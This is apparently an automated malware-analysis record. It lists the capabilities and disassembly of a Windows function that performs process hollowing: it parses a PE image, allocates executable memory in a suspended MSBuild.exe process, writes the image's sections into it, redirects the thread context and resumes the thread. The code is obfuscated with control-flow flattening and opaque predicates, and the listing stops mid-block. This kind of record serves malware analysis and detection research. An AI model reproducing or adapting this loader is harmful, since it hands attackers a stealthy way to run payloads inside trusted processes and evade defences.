Function at 0x10002020
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x150
mov eax, dword [0x100d4800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x158], 0x6d6b1f56
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x15c], eax
sub eax, 0x8050873f
je 0x10004978
jmp 0x1000205c
mov eax, dword [ebp - 0x15c]
sub eax, 0x80d11a05
je 0x10003dd0
jmp 0x10002072
mov eax, dword [ebp - 0x15c]
sub eax, 0x80fb8c4d
je 0x10003a85
jmp 0x10002088
mov eax, dword [ebp - 0x15c]
sub eax, 0x82932ea7
je 0x1000469e
jmp 0x1000209e
mov eax, dword [ebp - 0x15c]
sub eax, 0x84b0e98b
je 0x10004e12
jmp 0x100020b4
mov eax, dword [ebp - 0x15c]
sub eax, 0x85299701
je 0x10004825
jmp 0x100020ca
mov eax, dword [ebp - 0x15c]
sub eax, 0x86638bda
je 0x100034e9
jmp 0x100020e0
mov eax, dword [ebp - 0x15c]
sub eax, 0x8abf8193
je 0x1000331e
jmp 0x100020f6
mov eax, dword [ebp - 0x15c]
sub eax, 0x8bd57d2d
je 0x1000438f
jmp 0x1000210c
mov eax, dword [ebp - 0x15c]
sub eax, 0x8e61b12c
je 0x100044eb
jmp 0x10002122
mov eax, dword [ebp - 0x15c]
sub eax, 0x91be87d1
je 0x10002d82
jmp 0x10002138
mov eax, dword [ebp - 0x15c]
sub eax, 0x952a0553
je 0x10004ad0
jmp 0x1000214e
mov eax, dword [ebp - 0x15c]
sub eax, 0x972efc07
je 0x10003d70
jmp 0x10002164
mov eax, dword [ebp - 0x15c]
sub eax, 0x9963f083
je 0x10004918
jmp 0x1000217a
mov eax, dword [ebp - 0x15c]
sub eax, 0x9c8334f1
je 0x10003a76
jmp 0x10002190
mov eax, dword [ebp - 0x15c]
sub eax, 0x9ff603f2
je 0x100034f8
jmp 0x100021a6
mov eax, dword [ebp - 0x15c]
sub eax, 0xa0911713
je 0x10003070
jmp 0x100021bc
mov eax, dword [ebp - 0x15c]
sub eax, 0xa24b55de
je 0x1000394c
jmp 0x100021d2
mov eax, dword [ebp - 0x15c]
sub eax, 0xa52b7670
je 0x10004cc3
jmp 0x100021e8
mov eax, dword [ebp - 0x15c]
sub eax, 0xa65e6421
je 0x100042c9
jmp 0x100021fe
mov eax, dword [ebp - 0x15c]
sub eax, 0xad5be543
je 0x10003bca
jmp 0x10002214
mov eax, dword [ebp - 0x15c]
sub eax, 0xb2e2b518
je 0x10002c2b
jmp 0x1000222a
mov eax, dword [ebp - 0x15c]
sub eax, 0xb3c09558
je 0x10004b3d
jmp 0x10002240
mov eax, dword [ebp - 0x15c]
sub eax, 0xb3e445b1
je 0x1000373a
jmp 0x10002256
mov eax, dword [ebp - 0x15c]
sub eax, 0xb604cb90
je 0x1000339d
jmp 0x1000226c
mov eax, dword [ebp - 0x15c]
sub eax, 0xb61be6cc
je 0x10002d61
jmp 0x10002282
mov eax, dword [ebp - 0x15c]
sub eax, 0xb68c163a
je 0x100031e6
jmp 0x10002298
mov eax, dword [ebp - 0x15c]
sub eax, 0xb7859327
je 0x10003e32
jmp 0x100022ae
mov eax, dword [ebp - 0x15c]
sub eax, 0xb81380f6
je 0x10002cf6
jmp 0x100022c4
mov eax, dword [ebp - 0x15c]
sub eax, 0xb8b82106
je 0x10002f29
jmp 0x100022da
mov eax, dword [ebp - 0x15c]
sub eax, 0xba9cf50f
je 0x1000396d
jmp 0x100022f0
mov eax, dword [ebp - 0x15c]
sub eax, 0xbb2267c7
je 0x10003566
jmp 0x10002306
mov eax, dword [ebp - 0x15c]
sub eax, 0xbb2cc781
je 0x10003fad
jmp 0x1000231c
mov eax, dword [ebp - 0x15c]
sub eax, 0xbff782c5
je 0x1000457c
jmp 0x10002332
mov eax, dword [ebp - 0x15c]
sub eax, 0xc33acf14
je 0x1000403e
jmp 0x10002348
mov eax, dword [ebp - 0x15c]
sub eax, 0xc3df8842
je 0x1000393d
jmp 0x1000235e
mov eax, dword [ebp - 0x15c]
sub eax, 0xcd042d0f
je 0x10003cbd
jmp 0x10002374
mov eax, dword [ebp - 0x15c]
sub eax, 0xcdf92459
je 0x1000471c
jmp 0x1000238a
mov eax, dword [ebp - 0x15c]
sub eax, 0xce44a7cf
je 0x10003699
jmp 0x100023a0
mov eax, dword [ebp - 0x15c]
sub eax, 0xd6f5df01
je 0x10003c02
jmp 0x100023b6
mov eax, dword [ebp - 0x15c]
sub eax, 0xd8a0ce2f
je 0x10004506
jmp 0x100023cc
mov eax, dword [ebp - 0x15c]
sub eax, 0xdb7f6403
je 0x10003ef2
jmp 0x100023e2
mov eax, dword [ebp - 0x15c]
sub eax, 0xdbf0698a
je 0x10004a92
jmp 0x100023f8
mov eax, dword [ebp - 0x15c]
sub eax, 0xe1ce245a
je 0x100044dc
jmp 0x1000240e
mov eax, dword [ebp - 0x15c]
sub eax, 0xe6ed9e40
je 0x100043e1
jmp 0x10002424
mov eax, dword [ebp - 0x15c]
sub eax, 0xe70d8b66
je 0x10004c1b
jmp 0x1000243a
mov eax, dword [ebp - 0x15c]
sub eax, 0xe7b7acf6
je 0x10004f1f
jmp 0x10002450
mov eax, dword [ebp - 0x15c]
sub eax, 0xebd9c30c
je 0x10003ed7
jmp 0x10002466
mov eax, dword [ebp - 0x15c]
sub eax, 0xecbb475a
je 0x10003f0f
jmp 0x1000247c
mov eax, dword [ebp - 0x15c]
sub eax, 0xef9fdd49
je 0x10004457
jmp 0x10002492
mov eax, dword [ebp - 0x15c]
sub eax, 0xf27b0183
je 0x1000366f
jmp 0x100024a8
mov eax, dword [ebp - 0x15c]
sub eax, 0xfbed5584
je 0x10002d1a
jmp 0x100024be
mov eax, dword [ebp - 0x15c]
sub eax, 0xfe0409f6
je 0x100030cd
jmp 0x100024d4
mov eax, dword [ebp - 0x15c]
sub eax, 0x399d3ad
je 0x10003153
jmp 0x100024ea
mov eax, dword [ebp - 0x15c]
sub eax, 0x5172d3d
je 0x10002eb3
jmp 0x10002500
mov eax, dword [ebp - 0x15c]
sub eax, 0x78ebfd6
je 0x10002fb7
jmp 0x10002516
mov eax, dword [ebp - 0x15c]
sub eax, 0x7ea32cf
je 0x100046cb
jmp 0x1000252c
mov eax, dword [ebp - 0x15c]
sub eax, 0xebdb457
je 0x10004d7b
jmp 0x10002542
mov eax, dword [ebp - 0x15c]
sub eax, 0x1317ced5
je 0x10004a00
jmp 0x10002558
mov eax, dword [ebp - 0x15c]
sub eax, 0x156ef375
je 0x10004ac1
jmp 0x1000256e
mov eax, dword [ebp - 0x15c]
sub eax, 0x15872ab6
je 0x10004d0b
jmp 0x10002584
mov eax, dword [ebp - 0x15c]
sub eax, 0x17796ad3
je 0x10003643
jmp 0x1000259a
mov eax, dword [ebp - 0x15c]
sub eax, 0x1779ffc1
je 0x100049ee
jmp 0x100025b0
mov eax, dword [ebp - 0x15c]
sub eax, 0x1872a7fb
je 0x10002cd5
jmp 0x100025c6
mov eax, dword [ebp - 0x15c]
sub eax, 0x18bedf36
je 0x10003ad2
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xbb800
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x120]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0xe9], al
mov eax, dword [0x100d5b38]
mov ecx, dword [0x100d5b34]
mov edx, eax
sub edx, 0xb25b284
sub edx, 1
add edx, 0xb25b284
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1317ced5
mov ecx, 0x1872a7fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov dl, byte [ebp - 0xe9]
mov eax, 0x400f6713
mov ecx, 0xb81380f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x158], 0xfbed5584
jmp 0x10004f47
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xe8]
sub eax, 0xd23ee40c
add eax, ecx
add eax, 0xd23ee40c
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
cmp dword [eax], 0x4550
sete al
and al, 1
mov byte [ebp - 0xdd], al
mov dword [ebp - 0x158], 0xb61be6cc
jmp 0x10004f47
mov dl, byte [ebp - 0xdd]
mov eax, 0x6cab0b80
mov ecx, 0x91be87d1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov eax, dword [0x100d5b38]
mov ecx, dword [0x100d5b34]
mov edx, eax
add edx, 0x8a0dae79
sub edx, 1
sub edx, 0x8a0dae79
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7264585b
mov ecx, 0x70cb0fc4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov ecx, dword [0x100d5b38]
mov eax, dword [0x100d5b34]
mov edx, ecx
add edx, 0x3c4246c0
sub edx, 1
sub edx, 0x3c4246c0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdbf0698a
mov ecx, 0xb8b82106
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov eax, dword [ebp - 0xdc]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x129], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x130], eax
mov al, byte [ebp - 0x129]
and al, 1
mov byte [ebp - 0xd5], al
mov eax, dword [0x100d5b38]
mov ecx, dword [0x100d5b34]
mov edx, eax
add edx, 0x6d6f4e71
sub edx, 1
sub edx, 0x6d6f4e71
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdbf0698a
mov ecx, 0x4795b408
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov dl, byte [ebp - 0xd5]
mov eax, 0x1ec9fc33
mov ecx, 0x77a07a04
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0xd4], eax
mov eax, dword [0x100d5b38]
mov ecx, dword [0x100d5b34]
mov edx, eax
add edx, 0xd2e1597c
sub edx, 1
sub edx, 0xd2e1597c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x156ef375
mov ecx, 0xfe0409f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov dword [ebp - 0x158], 0x6c4a392e
jmp 0x10004f47
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x124]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xcd], al
mov dword [ebp - 0x158], 0x2e39b095
jmp 0x10004f47
mov eax, dword [0x100d5b38]
mov ecx, dword [0x100d5b34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x952a0553
mov ecx, 0x5ff34fc1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov dword [ebp - 0x158], 0x5eb9a1c1
jmp 0x10004f47
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x24]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x158], 0x54afe3ef
jmp 0x10004f47
mov dword [ebp - 0x158], 0x9ff603f2
jmp 0x10004f47
mov ecx, dword [0x100d5b38]
mov eax, dword [0x100d5b34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x414d4328
mov ecx, 0xbb2267c7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov eax, dword [ebp - 0x120]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0xc0]
add ecx, eax
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x128]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x128]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x18
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x128]
movzx edx, word [eax + 0x14]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov dword [eax], 0
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov dword [eax], 0
mov eax, dword [0x100d5b38]
mov ecx, dword [0x100d5b34]
mov edx, eax
sub edx, 0x756ac063
sub edx, 1
add edx, 0x756ac063
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x414d4328
mov ecx, 0x17796ad3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov dword [ebp - 0x158], 0x19d896de
jmp 0x10004f47
mov eax, dword [ebp - 0x128]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0xbc]
mov eax, 0x7426070e
mov ecx, 0xce44a7cf
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x158], 0x1a694bad
jmp 0x10004f47
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x118]
mov edx, dword [edx]
mov esi, dword [ebp - 0x108]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
add ecx, 0x8c400208
add ecx, edx
sub ecx, 0x8c400208
mov edx, dword [ebp - 0x6c]
mov esi, dword [ebp - 0x118]
mov esi, dword [esi]
mov edi, dword [ebp - 0x108]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x118]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x108]
imul edx, dword [edx], 0x28
add ecx, edx
cmp eax, dword [ecx + 0xc]
setae al
and al, 1
mov byte [ebp - 0xae], al
mov eax, dword [0x100d5b38]
mov ecx, dword [0x100d5b34]
mov edx, eax
add edx, 0x77cec308
sub edx, 1
sub edx, 0x77cec308
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe70d8b66
mov ecx, 0x221aa11b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov dword [ebp - 0x158], 0xa24b55de
jmp 0x10004f47
mov dl, byte [ebp - 0xad]
mov eax, 0x18bedf36
mov ecx, 0xba9cf50f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov ecx, dword [0x100d5b38]
mov eax, dword [0x100d5b34]
mov edx, ecx
sub edx, 0xf5104f4a
sub edx, 1
add edx, 0xf5104f4a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2d417b84
mov ecx, 0x6cc3ad0f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov dword [ebp - 0x158], 0x80fb8c4d
jmp 0x10004f47
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xac]
add ecx, eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov edx, dword [ebp - 0x118]
mov edx, dword [edx]
mov esi, dword [ebp - 0x108]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0xc]
xor edx, edx
sub edx, esi
add eax, edx
add ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov dword [ebp - 0x158], 0x18bedf36
jmp 0x10004f47
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0xa4]
mov dword [eax], ecx
mov dword [ebp - 0x158], 0x19d896de
jmp 0x10004f47
mov edx, dword [ebp - 0xa0]
mov eax, 0x8e61b12c
mov ecx, 0x7b2bb405
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0x9c]
cmp eax, ecx
setne al
and al, 1
mov byte [ebp - 0x91], al
mov ecx, dword [0x100d5b38]
mov eax, dword [0x100d5b34]
mov edx, ecx
sub edx, 0x73106b97
sub edx, 1
add edx, 0x73106b97
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2f2ac5d1
mov ecx, 0x601d27fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov dword [ebp - 0x158], 0x57cbc31c
jmp 0x10004f47
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x90], eax
mov eax, dword [0x100d5b38]
mov ecx, dword [0x100d5b34]
mov edx, eax
add edx, 0xddf14669
sub edx, 1
sub edx, 0xddf14669
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5d6b9ec1
mov ecx, 0xb7859327
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov dword [ebp - 0x158], 0x7f6c91ee
jmp 0x10004f47
mov eax, dword [ebp - 0xf8]
mov dword [eax], 0
mov dword [ebp - 0x158], 0xdb7f6403
jmp 0x10004f47
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x158], 0xecbb475a
jmp 0x10004f47
mov eax, dword [ebp - 0x100]
mov esi, dword [eax]
mov edx, dword [ebp - 0x8c]
mov eax, 0x4f9f1cc9
mov ecx, 0x21b66528
cmp edx, esi
cmovb eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx]
mov ax, word [eax + ecx*2]
mov word [ebp - 0x88], ax
mov ecx, dword [0x100d5b38]
mov eax, dword [0x100d5b34]
mov edx, ecx
add edx, 0xa1cc9199
sub edx, 1
sub edx, 0xa1cc9199
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3e9c412a
mov ecx, 0xc33acf14
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov dword [ebp - 0x158], 0x37212fe5
jmp 0x10004f47
mov eax, dword [ebp - 0xfc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x158], 0x6c4cf7e4
jmp 0x10004f47
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0x74]
mov dword [eax], ecx
mov dword [ebp - 0x158], 0xdb7f6403
jmp 0x10004f47
mov ecx, dword [0x100d5b38]
mov eax, dword [0x100d5b34]
mov edx, ecx
add edx, 0x6f860e2c
sub edx, 1
sub edx, 0x6f860e2c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x84b0e98b
mov ecx, 0xef9fdd49
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov ecx, dword [0x100d5b38]
mov eax, dword [0x100d5b34]
mov edx, ecx
add edx, 0xd31cfebd
sub edx, 1
sub edx, 0xd31cfebd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x84b0e98b
mov ecx, 0x3efe86cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov dword [ebp - 0x158], 0x8e61b12c
jmp 0x10004f47
mov eax, dword [ebp - 0x128]
add eax, 0x18
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x158], 0xd8a0ce2f
jmp 0x10004f47
mov ecx, dword [0x100d5b38]
mov eax, dword [0x100d5b34]
mov edx, ecx
add edx, 0xea126cb2
sub edx, 1
sub edx, 0xea126cb2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6eb06a3c
mov ecx, 0xbff782c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov eax, dword [ebp - 0x70]
add eax, 0x1c
mov ecx, dword [ebp - 0x124]
mov ecx, dword [ecx + 0xa4]
sub ecx, 0x43d8d66a
add ecx, 8
add ecx, 0x43d8d66a
mov edx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x134]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 0x6c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x128]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x124]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [0x100d5b38]
mov ecx, dword [0x100d5b34]
mov edx, eax
add edx, 0xfcfc7e51
sub edx, 1
sub edx, 0xfcfc7e51
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6eb06a3c
mov ecx, 0x82932ea7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov dword [ebp - 0x158], 0x2c3f3772
jmp 0x10004f47
mov eax, dword [0x100d5b38]
mov ecx, dword [0x100d5b34]
mov edx, eax
add edx, 0x32ff1173
sub edx, 1
sub edx, 0x32ff1173
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4a137b59
mov ecx, 0xcdf92459
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x100d5b38]
mov ecx, dword [0x100d5b34]
mov edx, eax
add edx, 0x56229760
sub edx, 1
sub edx, 0x56229760
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4a137b59
mov ecx, 0x3089b138
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10004f47
mov dword [ebp - 0x158], 0x6cab0b80
jmp 0x10004f47
mov dword [ebp - 0x158], 0x400f6713
jmp 0x10004f47
mov ecx, dword [0x100d5b38]
mov eax, dword [0x100d5b34]
mov edx, ecx
sub edx, 0x645448f2
sub edx, 1
add edx, 0x645448f2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
